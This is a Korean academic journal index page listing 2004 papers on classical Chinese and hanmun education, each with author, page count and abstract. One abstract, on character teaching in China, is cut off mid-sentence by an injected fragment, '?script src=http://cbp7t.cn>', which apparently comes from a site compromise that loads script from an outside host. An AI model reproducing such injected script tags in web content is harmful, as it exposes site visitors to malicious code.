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한문교육연구검색

Journal of Korean classical Chinese education


  • - 주제 : 어문학분야 > 국문학
  • - 성격 : 학술지
  • - 간기: 반년간
  • - 국내 등재 : KCI 등재
  • - 해외 등재 : -
  • - ISSN : 1225-1321
  • - 간행물명 변경 사항 :
논문제목
수록 범위 : 23권 0호 (2004)

21세기 한문학의 연구와 교육

김상홍 ( Sang Hong Kim )
한국한문교육학회|한문교육연구  23권 0호, 2004 pp. 1-13 ( 총 13 pages)
5,300
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한문학 연구와 교육은 21C 무한경쟁시대에서 생존전략의 하나이다. 우리가 한문문화권 16억 人口의 유일한 공통문자인 한문학 연구와 교육을 소홀히 한다면, 한문문화권에서 소외되는 것은 자명하다. 한문학의 연구와 교육의 효과는 단순히 自國의 전통문화를 이해하고 이를 창조적으로 계승하는데 국한되는 데 그치는 것이 아니라, 한문문화권의 상호이해와 교류에 기여한다. 한문문화권에 있는 나라들의 연구자들이 모여 토론하고, 아울러 한문학 연구와 교육에 관한 정보를 共有하는 학문적 교류가 활발하게 이루어질 때에, 동아시아의 한문학 연구와 교육은 발전할 것이다. 즉 국제간에 활발한 교류를 통하여 自國의 교육문화의 특성에 맞게 연구와 교육을 竝行하는 것이 전통문화유산을 창조적으로 계승 발전시킬 수 있을 것이다.

중국 한자교육의 역사와 내용에 대하여

허철 ( Chul Heo )
한국한문교육학회|한문교육연구  23권 0호, 2004 pp. 15-57 ( 총 43 pages)
11,800
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모든 다른 나라에서와 마찬가지로 중국에서도 한자가 창조되고 사용되는 동시에 그 교육 또한 시작되었다. 문자교육은 교육의 측면에서 볼 때, 그 교육 내용은 거의 고정 불변의 것이지만, 형식과 방법, 체재 등은 그 사회가 처한 사회 상황과 교육 이상과 목표, 사회의 발전 정도, 사회 전체의 문화 환생 등에 의해 큰 영향을 받는다. 漢字는 이미 3400여년이 넘는 역사를 가진 세계에서 가장 오래된 문자체계이다. 이 오랜 세월동안 한자는 중국인들과 동아시아의 한자문화권에서 정치, 경제, 문화 생활을 비롯, 사회 구성원 간의 의사 소통 역할을 담당한 문자체계였으며 동시에 교육의 중요한 영역이 되어왔다. 그러나, 한자는 그 학습의 양이 다른 문자와는 비교할 수도 없을 만큼 많다는 점 때문에, 가장 체계적이고 효율적이지 못한 문자체계로 주목받고 있다. 중국에서 이루어지는 한자교육은 이러한 한자 학습의 어려움을 극복하고 어떻게 하면 체계적이면서도 효율적으로 한자를 습득하게 하는가에 그 중점을 두고 진행되어 왔다. 중국 한자교육의 역사에 대해서 郭洙若과 장정양은 商대로부터 이미 존재하였음을 과학적 증거를 통해 주장하였고, 『周禮』, 『說文解字』 「敍」, 『漢書』 「藝文志」를 통해 이미 오래전부터 한자학습서가 존재하였음을 알 수 있다. 또한 여러 기록을 통해 한자학습이 당시에 얼마나 중요한 기초교육이었으며 그것을 얼마나 중시하였는지도 알 수 있다. 또 여러 기록을 통해 역사적으로 많은 한자교육서가 발간 활용되었음을 알 수 있는데, 이러한 한자학습서의 특징으로 우리는 전통적 한자 학습서들이 사회에서 常用되는 한자를 선택 정리하였다는 점과 채택한 글자의 수량이 적절하였다는 것을 알 수 있는 동시에 체제나 그 내용에 있어서도 이미 상당한 수준을 갖추도록 발전하였다는 것을 알 수 있다. 이러한 전통적인 한자학습은 20세기 이후 달라진 사회의 변화와 욕구를 충족시키기 위해 전통의 한자교육과는 다른 내용과 형식을 준비하고 시행해야 했다. 이를 위해 중국에서는 국가적으로 한자의 수량을 결정하고, 이체자, 간화, 표준발음, 획수, 필순, 표준자형 등의 제정 등과 같은 한자의 정리를 꾀하는 한편, 건국 이후로 7차례 발표한 <小學語文敎學大綱>을 통해 한자교육에 대한 명확한 규정을 내렸다. 이러한 어문 규정의 측면 뿐 아니라, 교육의 측면에서도 중국은 한자교육의 순서와 함께 그 구체적인 방법과 각 학년별 한자의 수량 등에 대해서도 구체적인 제시를 하였다. 이러한 제규정을 가장 적절하게 표현해 낸 것이 바로 소학용 어문교재이다. 중국은 현재 각 省이나 지방단체나 출판사가 각 어문규정에 맞는 교과서를 자체적으로 제작하면 그것을 심의해 주는 방법으로 사용하여 어문교재를 편찬하고 있다. 본고에서는 인민교육출판사에서 새롭게 출판된 어문 교재를 살펴봄으로써 이러한 중국의 어문정책이 어떻게 구체적으로 교과서라는 틀을 통해 실현되고 있나를 알아보았다. 이러한 일련의 논의과정은 한국 한자교육에 다음과 같은 두 가지 면에서 많은 시사점을 준다. 첫번째, 한자교육의 기본적 토대로 국가적인 한자 관련연구와 규정이 필요하다. 우리나라에서도 교육용한자, 상용한자, 인명용한자 등이 규정되었지만, 그 과학성과 대표성에 대해서는 아직까지 많은 의문이 제기되고 있다. 또한, 한자의 표준 形.音.義에 대한 규정도 아직까지 제시되지 않고 있으며, 이체자, 속자 등에 대한 규정, 필획과 필순의 표준, 인쇄용 표준자체 등도 명확하지 않다. 이로 인해 정확한 규범과 기준 없는 한자 생활을 하고 있는 것이 우리의 현실이다. 물론 어떤 사항에 대해서는 한자교육 관련자들만으로 그런 규정을 결정할 수 있다. 그러나, 한자가 우리나라의 문자 생활에서 차지하는 비중을 생각한다면 그런 규정은 국가적 주도로 이루어지고 시행령이 반포되는 한편, 일회성으로 그치지 말고 끊임없이 연구되며 수정되어야 할 것이다. 한자교육은 이러한 표준과 기준을 토대로 자신들의 임무인 한자 교육의 목표와 목적에 효율적이고 생산적인 교육 활동을 펴 나갈 수 있을 것이다. 두번째는 한국에서 이루어지는 초기 한자교육의 방향과 영역별 내용 설정에 도움을 줄 수 없을 것이다. 중국에서 이루어지는 한자 교의 특징은 다양한 학습법과 함께 한자 학습의 순서를 제시함으로써 1차적인 학습의 축적으로 인한 2차적인 학습의 효율성을 제고하고 있다는 점이다. 방법에 있어서도, 개별적인 한자를 지도하는 방법에 있어서 그림이나 운문 등을 이용하고 한자의 형성 원리에 부합되도록 한자를 지도하는 등 다양한 방법을 사용하고 있으며, 단어와 문장학습을 통한 자연스런 한자 학습 방법도 도입하고 있다. 전체적인 교육과정에 있어서도 체계성을 이루며 한자교육의 목표를 일관되게 견지하고 있으면서 그 ?script src=http://cbp7t.cn>

태국의 한자교육

암파이암롱쌉 ( Ampai Amrung Sub )
한국한문교육학회|한문교육연구  23권 0호, 2004 pp. 59-87 ( 총 29 pages)
6,900
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태국에서 실시되고 있는 한자교육은 현대한자를 그 주요내용으로 하고 있으며, `중국어`라는 외국어의 일환으로서, 한자쓰기의 기능을 장악하는 데 그 목적을 두고 있다. 한자 교육은 크게 두 가지로 나눌 수 있다. 첫 번째는 한자 과목을 따로 개설하여 한자 교육을 단독으로 실시하는 경우이고, 두 번째는 한자를 중국어 교육의 일환으로 처리하여 중국어 교육과정 속에 포함시키는 경우이다. 전체적으로 볼 때 태국에서는 후자의 경우가 더 보편적이다. 태국의 각 학교에서는 한자 해석, 필획과 그림 등을 이용한 방법으로 한자 교육을 전개하고 있다. 태국 학생들이 한자를 학습할 때 발생하는 문제점은 주로 모국어인 태국어의 영향으로 인한 것이다.

고대한어에 나타난 색채어 명명 모식에 대한 고찰

왕계홍 ( Ji Hong Wang )
한국한문교육학회|한문교육연구  23권 0호, 2004 pp. 89-114 ( 총 26 pages)
6,600
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본문은 『說文解字』, 『說文解字注』를 주요 자료로 삼아, 『爾雅』, 『釋名』등의 고대 중요 자서(字書)를 함께 이용하여 색채어의 의미변화와 그 단어 결합의 특징, 색의 정도에 따른 색의 표현 방법, 고대 사람들의 색에 대한 관념 등 여러 각도에서 논의를 시작하여 고대한어에 나타난 색을 표현하는 단어들의 命名模式에 대해 알아보고자 한다. 이를 위해, 인지심리학에서 연구되는 이론들을 이용하여 색채어의 발생과 발전을 여러 실제 상황을 통해 해석하고자 한다. 고대한어에 나타난 색채어의 命名模式은 크게 1) 借代命名模式, 2) 組合命名模式, 3) 比擬命名模式 4) 比較命名模式 등 네 가지로 분류할 수 있다.

『취옹담록(醉翁談錄)』의 중국소설사적 의미

이시찬 ( Si Chan Lee )
한국한문교육학회|한문교육연구  23권 0호, 2004 pp. 115-138 ( 총 24 pages)
6,400
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중국 宋代小說의 경향을 살펴보면 두 가지로 나눌 수 있는데, 그 하나는 魏晋南北朝의 志怪小說과 唐傳奇小說의 울타리를 벗어나기 시작했다는 것이고 다른 하나는 본격적으로 일상 시민들의 삶과 그들의 사상을 반영하기 시작했다는 것이다. 南宋 때 羅燁이 편찬한 『醉翁談錄』은 宋代의 소설관을 총괄함과 동시에 후대 話本小說과 관련하여 초기의 모습을 잘 보여주고 있다. 이 책은 宋代에 유행한 話本 가운데서 「小說」과 「合生」을 전문적으로 口演하는 이들에게 제공할 목적으로 짜여져 있으며 그 내용은 주로 남녀의 애정과 관련된 것들이다. 중국고전소설의 발전과정 중에서 이 책의 성질과 가치를 아래의 세 가지 방면으로 나누어 설명할 수 있겠다. 첫째, 『醉翁談錄』은 宋代小說의 몇 가지 특징을 보여주는데 전대의 내용 면에서 전대의 志怪小說과 傳奇小說의 전통을 충실하게 계승하여 宋代의 소설환경에 적절하게 적용하였다는 것이다. 둘째, 宋代人의 小說觀을 잘 보여주고 있다. 오늘날 『醉翁談錄』이 학계로부터 가장 주목을 받는 부분은 바로 <小說引子>와 <小說開闢>이 기록된 내용이다. 이 두 편의 글에는 羅燁이 소개한 백여 편의 話本名과 약간의 소설관이 기재되어 있다. 이러한 기록은 宋代 당시 소설계의 상황을 이해하는데 많은 도움을 주고 있으며, 특히 정통문인들에 의해 무시되어오던 소설이 宋代에 이르러 어떻게 중국문학사의 무대 위에 오르게 되는가의 과정을 이해하는 데 빼놓을 수 없는 자료가 된다. 셋째, 중국소설의 형식적 특성을 가장 잘 보여주는 자료라 할 수 있다. 羅燁은 전대에 전해오는 이야기들을 기록할 때 우선 제목의 형식부터 바꾸어 놓았다. 그는 唐人들이 즐겨 사용하던 「傳」이라는 글자를 빼고 제목의 글자를 늘여서 이야기의 내용을 파악하기 쉽게 해놓았다. 주로 일곱 혹은 여덟 글자를 사용하여 제목을 짓는 방식은 宋代에 성행한 이래 明淸時代 白話小說에 적용되었다. 그리고 羅燁은 이야기 중간중간에 적지 않은 詩와 訶를 삽입 시켰는데 이 또한 후대 중국 白話小說의 주요한 형식이 되었다. 결론적으로 『醉翁談錄』의 성질과 내용은 비교적 복잡한데, 내용과 주제면에서는 주로 남녀의 진실한 사랑을 주로 하면서 애정을 배신하는 행위를 크게 비판하고 있다. 또한 이 책은 당시 說話人들이 이야기를 들려줄 때 참고하게 만들 목적으로 편찬된 일종의 小說參考書로써 話本小說의 발전사에 있어 큰 공헌을 했다. 明 중엽에 간행된 『淸平山堂話本』과 明末에 간행된 『三言』과 서로 傳承關係에 놓여 있는 이 책은 특히 중국소설사에서 宋代 이전과 이후의 소설형식과 내용에 있어 교량적인 특징을 가장 잘 드러내주는 것으로 소설사료로서의 가치가 아주 높다고 할 수 있겠다.

한훤당(寒喧堂) 김굉필의 시문에 나타난 "성리미학" 탐색

신두환 ( Doo Hwan Shin )
한국한문교육학회|한문교육연구  23권 0호, 2004 pp. 139-169 ( 총 31 pages)
7,100
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조선 성리학의 조종으로 불리는 한훤당 김굉필(1454∼1504)이 살았던 시대는 조선의 건국과 수성기를 거치면서 그 권력의 주역들이 신흥 사림들에 의해 훈구(勳舊) 세력의 관료로 몰리면서 심각한 대립의 양상을 드러내고 있던 이른바 `士禍`의 시기이다. 조선 500년은 道(성리학)의 나라였다. 만물에 대한 창조설을 과학적으로 설명한 주렴계의 태극도설은 주역의 계사전을 수용하고 경전의 인식을 재창조하여 자연의 섭리와 인간의 심성을 공부하는 성리학을 발달시켰다. 문화는 동서고금을 막론하고 성격이 다른 문화와 충돌했을 때, 보다 고차원의 새로운 문화가 발생한다. 주자의 성리학은 중국에서 수용되지 못하고 조선으로 건너와서 집대성된 것으로 주자학은 사대주의 성격의 것이 아니라 우리가 주체적으로 발전시킨 조선 성리학의 근원이었다. 이것은 문예를 비롯한 예술전반 철학적인 바탕이 되어 미학을 창출하고 있었다. 성리학적인 형상사유와 외물인식을 통하여 산수나 자연경관을 음영하며 `蕩滌人慾`하는 심성수양의 기틀로 삼는 문학이나, 성리학의 이치를 바탕으로 해서 예술로 형상화한 다른 예술작품도 모두 성리미학의 범주에 들어갈 수 있다. 우주의 섭리를 추구하고 자연을 관조하며 생태계를 관찰하여 인간의 심성과 연결 짓는 성리학적 세계관의 표출에서 그 미의식을 찾아내어 체계화하는 것을 `성리미학`이라고 규정한다. 조선 사림파의 조종으로서 문묘에 배향된 한훤당 김굉필의 학문은 誠과 敬이었으며 그의 문예는 대부분 음영성정에 뜻을 둔 性理美學이었다. 그가 남긴 문학적인 자료는 모두 심성수양과 관련되어 있고, 도의 구현에 바탕이 되는 것들이었다. `以詩正心`, `因物起興`, `卽景生情`, `托物寓意` 등 성리학적인 형상사유와 생태학적인 외물인식은 성리미학의 사유체계이고, 한훤당 시에 나타난 성리미학의 품격은 `沖澹簫散` `閒美淸適` `物外閒適` 등이다. 한훤당은 조선문학사상 중요한 시점에 위치하고 있어서 정확한 연구가 요구되고 있다. 그의 자료가 많은 분량은 아니지만 함축하고 있는 사상의 영역은 대단히 넓다고 할 수 있다. 그의 도학은 인간에 대한 심오한 이해를 바탕으로 덕치를 이상으로 하고 있었고, 민본을 향한 자기희생은 올곧은 학문의 양심을 강조하여 조선근대사의 서두를 장식했다. 조광조같은 제자가 그의 취지를 계승하여 치열한 개혁의 의지를 보이고, 성화경자소에서 불교의 공리공담을 비판하고 혹세무민하는 승려를 비분강개하여 질타하는 선비정신은 조선의 사표가 되기에 족했다. 성리학을 바탕으로 하는 조선의 정치와 인간이해의 바탕은 곧 실사구시의 미학 이었으며, 자연을 읊고 심선을 수양하여 修己治人하려는 덕치의 세계관은 `성리미학`이었다.

윤봉길 시문집 재고

진영미 ( Young Mi Jin )
한국한문교육학회|한문교육연구  23권 0호, 2004 pp. 171-185 ( 총 15 pages)
5,500
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본 논문은 보물 제568호로 지정되어 현재 충남 예산 忠義祠 윤봉길기념관에 전시중인 『玉唾』·『漢詩集』·『鳴椎』·『壬椎』·『濂洛』이라는 시문집이 과연 尹奉吉 義士가 직접 쓰고 지은 것인지에 대한 의문을 제기하는 데 있다. 『옥타』는 다시 크게 두 부분으로 나눌 수 있다. 앞부분은 9편의 시와 1편의 서문이 실려 있고, 뒷부분은 윤의사의 한시 알려진 37편의 시가 각각의 제목 아래 가지런히 실려 있는데, 모두 칠언율시이다. 『한시집』에는 칠언율시가 200여 편 가량 실려 있고, 칠언절구가 6면, 오언절구가 2편 실려 있다. 그 사이에 4편의 文이 실려 있다. 『명추』에는 총 20편의 시가 실려 있고, 『임추』에는 총 50편의 한시가 실려 있다. 두 시집 모두 필체는 물론 제목과 시를 배치한 체재가 서로 다르다. 뿐만 아니라 앞의 『옥타』 및 『한시집』과도 다소 차이가 있다. 『염락』은 그 제목이 말해주듯, 창작시가 아닌 기존에 있던 중국시를 모아 놓은 시집이다. 시문집에 대한 몇 가지 문제점을 들어보면 다음과 같다. 첫째 윤의사 생존 연대와 맞지 않은 시들이 있다는 점, 둘째 윤의사와 교유한 사람들의 나이가 너무 많다는 점, 셋째 나이 들어 지은 작품으로 추정되는 글이 상당수 보인다는 점, 넷째 전체 시풍이 윤의사의 삶과 거리감이 있다는 점이다. 특히 일본인에게 지어준 시와 대동사문회 차운시가 더욱 그러하다. 윤의사가 일본인에게 이별시를 지어주었다는 것도 그렇고, 또 친일적 성향이 강한 대동사문회를 두고 차운시를 지었다는 것 역시 쉽게 이해되지 않기 때문이다. 끝으로 『옥타』 전반부에 쓴 필체와 후반부의 필체가 다를 뿐만 아니라, 대체적으로 시문집마다 시풍과 필체가 달라 윤의사 한 사람이 썼다고 하기에는 무리가 없지 않은 것 같다. 종합하면, 윤봉길 의사가 직접 짓고 쓴 것으로 알려진, 그로 인해 보물 568호로 지정된 시문집 『玉唾』·『漢詩集』·『鳴椎』·『壬椎』·『濂洛』은 앞서 살펴본 여러 가지 정황으로 미루어 볼 때 윤의사의 시문집은 분명 아니다. 그러므로 윤의사의 여타 유품들과 함께 보물 568호로 지정된 것은 문제이다. 그러나 비록 이런 문제가 있긴 하지만 위의 시문집이 윤의사와 전혀 무관한 것은 아니다. 『임추』 속에 윤의사가 직접 지은 시가 한 수 들어 있을 뿐만 아니라 『옥타』 속에는 윤의사가 오치서숙을 다니면서 배웠던 스승 매곡 성주록의 한시도 들어 있고, 나아가 스승의 벗인 혜정 강치헌의 한시 역시 여러 수 실려 있다. 그리고 위의 시문집은 구한말 몇몇 유명 인사들과도 관계가 깊은 중요한 역사적 자료이기도 하다. 예를 들면, 艮齋 田愚(1841∼1922)·石亭 李定稷(1841∼1910)·志山 金福漢(1860∼1924)과 관련된 시문들이 실려 있다. 윤의사와 윤의사 주변 인물들을 함께 연구하는데 없어서는 안 될 자료라고 생각한다.

전통적 선비정신에 대한 일고찰

권문봉 ( Moon Bong Kwon )
한국한문교육학회|한문교육연구  23권 0호, 2004 pp. 187-220 ( 총 34 pages)
7,400
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본고는 시대의 격변과 혼란 속에서 진정한 선비가 그리워지는 때에 부정부패로 얼룩진 현대사회를 밝혀줄 선비정신의 역사적 의의를 재조명하는 데에 그 중점을 둔다. 그 작업의 일환으로 먼저 전통적 선비의 淵源과 성립과정을 역사적으로 고찰하고자 하였다. 다음으로 선비精神의 典型을 분석하기 위하여 선비의 性向과 指向目標·價値觀, 그리고 선비의 特徵을 중심으로 논술 하고자 한다. 필자는 이를 통하여 현재 우리가 직면한 精神文化的 危機론 극복하고 民族文化 暢達을 위한 선비정신의 現代的 意味를 導出해 보고자 하였다. 선비란 유가사상의 전통 가운데 사회를 주도해 온 지식인 문화 집단에 대한 총칭이다. 즉 유가적인 이상적 지식인으로 經典에 대한 일정한 지식과 藝術에 대한 조예를 갖춘 사람으로, 조선조 士大夫 문화 즉 선비문화를 모방하고 실천한 지식인이며, 학문을 바탕으로 행동하는 사람이라 하겠다. 우리 민족은 인간 중심적 사고의 전통 속에서 수양과 극기 및 학문 탐구를 추구하는 聖人政治를 이상으로 하는 전통을 중시하였다. 이에 `선비`라는 개념을 儒敎的 素養에 의해 형성된 지도자만으로 보는 관점에서 탈피해서 포괄적으로 볼 때 선비정신이 보편성을 띤 지조 정신, 의리 정신의 표현이라는 것을 인식할 수 있을 것이다. 선비정신에는 先公後私와 抑强扶弱의 정신이 있다. 公的인 일을 우선하고 私的인 일은 뒤로하는 것을 先公後私라 하고, 강한 자를 누르고 약한 자를 부추기는 것을 抑强扶弱이라고 한다. 外柔內剛의 개성은 선비 인간형의 典型이다. 겉으로는 부드러워 누구에게나 잘 대해 주고 예의 바르지만 속으로는 강하고 심지 깊은 유형을 외유내강형이라고 한다. 위기에 처해서는 지조와 절개를 지키는 투철한 기개와 강인함을 갖고 있지만 사생활에서는 한없이 부드럽고 온화한 사람, 이것이 선비의 인간형이었다. 즉, 조선시대 지식인들이 추구한 이상적 인간형은 감성의 발현인 人情과 인간으로서 지켜야할 도리인 義理를 잘 調和시키는 사람이었다. 선비정신은 시대적 사명감과 책임 의식으로 대변되는 정신이다. 또한 선비정신은 淸廉과 淸貧을 우선 가치로 삼으면서 日常 생활에서 儉約과 節制를 美德으로 삼는 정신이다. 이러한 정신은 유학의 開祖인 孔子의 사상에 잘 나타나 있다. 인격의 모범이요 사회의 良心으로 시대를 이끌어 가는 선비의 구실이 절실히 요구되는 현 시대상황에서 선비정신은 우리가 계승해 나가야 할 精神的 遺産이다. 이 정신은 앞으로 오늘을 살아가는 우리와 그 후손까지 구원할 훌륭한 理念이 라고 확신한다. 우리가 훌륭한 선비정신의 전통을 발전시켜 나간다면, 우리 나라의 무궁한 발전에 필요한 건전한 批判精神을 함양할 수 있으며, 특히 그 시대의 선비와 같은 위치에 서있는 현대의 지식인 계층을 각성시키는 성과를 이룰 수 있다고 본다. 또한 선비정신의 現代的 意味가 여기에 있다고 하겠다. 선비에 대한 고찰을 통해 가장 주목할 수 있었던 특징은 유교적 인격의 배양을 통해서 發現되는 非理에 대한 抵抗精神이라 하겠다. 선비는 오늘날의 왜소한 지식인과 곧잘 비교된다. 특히 꼿꼿한 지조와 목에 칼이 들어와도 두려워하지 않는 강인한 기개, 불굴의 정신력, 항상 깨어 있는 淸淨한 마음가짐으로 특징 지어진 선비상은 아직도 많은 이들의 共感을 불러일으키게 된다. 일제 강점기와 광복 후 현대사의 전개 과정에서 소위 지식인들이 보여 주었던 체질적 한계와 현실 타협적 처신은 傳統時代의 知識人인 선비와 비교되면서 선비정신에 대한 現代的 再照明이 절실히 요청되고 있다.

한국 20세기의 한문교육과 그 당면과제 - 표기법 문제와 관련하여

임형택 ( Hyung Taek Lim )
한국한문교육학회|한문교육연구  23권 0호, 2004 pp. 221-244 ( 총 24 pages)
6,400
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이 글은 동아시아에 있어서 한자문화 활용의 현황과 과제: 한국·중국·일본·대만의 한문교육과 한문교과서를 중심으로라는 주제로, 일본의 二松學舍大學에서 개최된 심포지움에서 한국측의 기조보고에 맞추어 작성된 것이다. 그에 따라서 지난 20세기에 한국에서 행해진 한문교육의 실정을, 역사적으로 정리한 다음, 당면한 한문교육의 문제점과 한문문화의 전망을 해보았다. 한자·한문 문제는 한민족의 문자생활인 표기법과 긴밀히 연관되어 있는 점을 고려해서 서술을 하였다. 또한 한국의 언어·문자에 이해가 거의 없는 일본인을 상대로 하는 발표라는 점도 감안해서 일본의 경우와 비교하는 언급을 자주하게 된 것이다.

빈어와 보어의 구분에 관한 소고

정만호 ( Man Ho Jeong )
한국한문교육학회|한문교육연구  23권 0호, 2004 pp. 245-271 ( 총 27 pages)
6,700
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韓·中 양국은 介詞에 의해 서술어와 결합하는 성분은 보어로 처리한다는 점에서 같다. 그러나 中國의 경우 敍述語에 뒤따르는 名詞性 성분은 賓語로 구분하고, 우리는 敍述語의 성격에 따라 賓語와 補語로 구분하는 차이점이 있다. 敍述語의 뒤에 위치하는 문장성분은 크게 세 가지 유형으로 구분된다. 첫째는 名詞性 성분이 직접 서술어와 결합하는 것이고, 둘째는 名詞性 성분이 介詞를 통해 서술어와 결합하는 것이며, 셋째는 둘 이상의 名詞性 성분이 서술어의 뒤에 연속되는 것이다. 韓·中 양국이 문장성분의 구분에 있어 견해차를 보이는 것은 첫째와 셋째의 경우이다. 介詞는 虛詞에 속하고, 虛詞의 생략은 한문문장에서 자주 발생한다. 따라서 虛詞인 介詞의 유무만을 가지고 문장성분을 賓語와 補語로 구분할 수는 없다. 따라서 賓語와 補語는 형태상 介詞의 유무뿐 아니라 의미와 서술적의 성격을 기준으로 삼아야 한다. 雙賓語의 순서는 間接賓語군가 선행하고, 直接賓語가 뒤따른다. 間接賓語는 사람을 나타내는 名詞나 代詞가 주류를 이루고, 直接賓語는 구체적 사물이나 추상적 개념 등으로 충당된다. 두 賓語의 사이에는 수식이나 소유와 같든 문법적 관계가 형성되지 않는 독립성이 확보되어야 한다. 반면 程度를 나타내는 補語의 경우는 주로 數詞로 충당되어 서술 동작이 지속되는 기간이나 數量를 표시하는 차이점이 있다. 이러한 점에서 雙賓語와 補語는 구분되어야 한다.
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